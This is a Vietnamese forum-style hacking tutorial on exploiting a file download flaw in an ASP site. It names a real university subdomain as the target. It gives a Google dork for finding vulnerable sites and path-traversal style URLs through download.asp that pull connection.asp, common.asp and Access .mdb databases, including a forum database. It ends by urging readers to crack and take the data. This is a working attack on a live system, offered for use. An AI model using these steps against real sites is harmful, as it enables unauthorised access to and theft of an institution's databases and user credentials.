Một hình thức khai thác ASP

Google : allinurl:index.asp?action_menu=
Ra trang spkt.hnue.edu.vn

Ok. Ta thữ thêm download.asp hoặc xem chức năng download file trong website.

Nếu ra thông báo :

Sory ! Không có tệp đính kèm trong tài liệu này. Quay lại Thoát
hay đại loại là thế thì ok ời đó.

thêm đằng sau dòng này : ?file=includes/connection.asp

Ta đc : http://spkt.hnue.edu.vn/download.asp...connection.asp
Down về tìm xem có đường dẫn nào đến file .mdb hok

Rồi truy cập vào file đó ngay : http://spkt.hnue.edu.vn/database/db.mdb

Nếu báo lỗi không cho truy cập thì vào

http://spkt.hnue.edu.vn/download.asp...atabase/db.mdb ( cách này hơi lâu ak nhen )

Down về ngay

Bik đâu trong đây có cái gì vui đễ xem nhĩ

Ah há. Trong đây con có cả forum cơ ah.

Đc rồi, view file đầu tiên của nó là VF-ASP/forum.asp
http://spkt.hnue.edu.vn/download.asp...-ASP/forum.asp

Save về, thấy có file common.asp thấy nghi nghi, down típ
http://spkt.hnue.edu.vn/download.asp...ASP/common.asp

Down về, tìm coi có file nào .mdb hok.

Ah có rùi :data/VF-Forum.mdb

http://spkt.hnue.edu.vn/VF-ASP/data/VF-Forum.mdb

Down về rùi chém gió thuj.

Anh em giải mã đc tài liệu nào thì nuột tài liệu đó đi